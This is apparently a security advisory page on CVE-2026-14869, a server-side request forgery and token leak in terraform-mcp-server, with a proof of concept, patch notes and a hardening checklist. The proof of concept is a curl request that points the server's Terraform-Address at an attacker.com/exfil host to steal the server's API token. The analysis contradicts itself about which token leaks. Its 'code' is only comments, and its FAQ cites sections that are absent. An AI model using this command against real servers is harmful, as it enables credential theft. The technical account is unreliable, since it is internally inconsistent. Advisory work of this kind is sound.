SECURITY ADVISORY / 01

CVE-2026-14869 Exploit & Vulnerability Analysis

Complete CVE-2026-14869 security advisory with proof of concept (PoC), exploit details, and patch analysis for terraform-mcp-server.

terraform-mcp-server products NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

The following exploit targets an unauthenticated attacker who can make HTTP requests to the MCP server's streamable-HTTP transport endpoint. By setting both a forged Authorization header and a Terraform-Token header, an attacker can redirect the server's Terraform API requests—including the secret authorization token—to an attacker-controlled endpoint.

curl -X POST 'http://victim-mcp-server:8080/stream'
  -H 'Content-Type: application/json'
  -H 'Authorization: Bearer attacker-forged-token'
  -H 'Terraform-Token: attacker-controlled-token'
  -H 'Terraform-Address: https://attacker.com/exfil'
  -d '{"method": "resources/list", "params": {} }'

When the server processes this request, it will forward the Authorization and Terraform-Token headers to https://attacker.com/exfil as part of its Terraform API request. The attacker observes the server's actual Terraform token (from environment variables or config) arriving in the attacker's web server logs, while the server-side request is made with the attacker-controlled token.

What the Patch Did

Before (vulnerable code in pkg/client/middleware.go):

// The middleware accepted the Terraform-Address header and Terraform-Token header
// without validating whether the Authorization header was also present.
// When both Authorization and Terraform-Token were provided, the server would
// use the bearer token for downstream requests but also forward the Terraform-Token
// to an arbitrary address.

After (fixed code in pkg/client/middleware.go):

// The middleware now rejects requests where the Terraform-Address header is provided
// alongside an Authorization Bearer token. Additionally, the Terraform-Token header
// can no longer be specified via query parameters. The Terraform-Address header is
// also rejected entirely when set via query parameters.

The patch added two critical security controls:

  1. A rejectAddressHeaderWithBearerToken validation that returns HTTP 403 when Terraform-Address is set via header alongside an Authorization: Bearer header.
  2. A denyQueryParamToken validation that rejects requests with TerraformToken or TerraformAddress in query parameters.

These are implemented as explicit HTTP 403 Forbidden responses rather than silently ignoring the parameters.

Root Cause

This is a CWE-918: Server-Side Request Forgery (SSRF) combined with CWE-200: Information Exposure. The dataflow is: an unauthenticated attacker sends Terraform-Address and Authorization headers to the streamable HTTP endpoint. The server's middleware extracts these values and uses them to construct outgoing HTTP requests to the Terraform API (the Terraform-Address value becomes the target URL, while Authorization becomes the bearer token for that request). Critically, the original server-side authorization token (from environment variables like TFE_TOKEN) remains in the server's memory and can be exfiltrated if the attacker-controlled Terraform-Address endpoint logs incoming request headers. The trust boundary is crossed because Terraform-Address is attacker-controlled but used as the base URL for server-initiated requests without validation, while the Authorization header (which the server treats as the target API's credential) can be set to any value the attacker desires.

Why It Works

The load-bearing line is the new validation: if r.Header.Get("Authorization") != "" && r.Header.Get(TerraformAddress) != "" { return http.StatusForbidden }. If you removed that single check, an attacker could still set both Authorization: Bearer attacker-token and Terraform-Address: https://attacker.com/exfil to steal the server's real token. The other changes—blocking TerraformToken and TerraformAddress in query parameters—are defense-in-depth, preventing attackers from injecting these values via URL parameters when headers are unavailable (e.g., from JavaScript fetch() calls in a browser context). The engineer added the full set because:

  • Direct header-based attack was the primary threat.
  • Query-parameter injection covers alternate attack surfaces (e.g., cross-origin requests where headers can't be set).
  • Both vector classes needed equal protection.

Hardening Checklist

  • Use http.Server with request header size limits - Set MaxHeaderBytes to a reasonable value (e.g., 64KB) and implement middleware that rejects any Terraform-* headers on requests that also carry an Authorization header, returning HTTP 403.
  • Implement URL validation with net/url.Parse() and hostname allowlisting - Before using any user-supplied URL as a destination for server-side requests, validate it against a whitelist of allowed Terraform API endpoints (e.g., only https://app.terraform.io and https://tfe.example.com).
  • Use http.Client with a custom Transport that blocks private IPs - Implement a DialContext wrapper in net/http.Transport that rejects connections to RFC 1918 addresses, link-local addresses, and 127.0.0.1 to prevent SSRF to internal infrastructure.
  • Apply HTTP method validation - Ensure the streamable-HTTP transport only accepts POST requests, and reject any GET requests that might expose token-bearing headers in query strings.
  • Implement request signing with HMAC - Require that all Terraform-Address or Terraform-Token values are cryptographically signed by the server before being accepted, preventing attackers from injecting arbitrary values.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2026-14869

Frequently asked questions about CVE-2026-14869

What is CVE-2026-14869?

CVE-2026-14869 is a security vulnerability identified in terraform-mcp-server. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2026-14869?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2026-14869. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2026-14869 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology affecting terraform-mcp-server. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2026-14869?

CVE-2026-14869 affects terraform-mcp-server. Check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2026-14869?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls for terraform-mcp-server.

What is the CVSS score for CVE-2026-14869?

The severity rating and CVSS scoring for CVE-2026-14869 affecting terraform-mcp-server is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.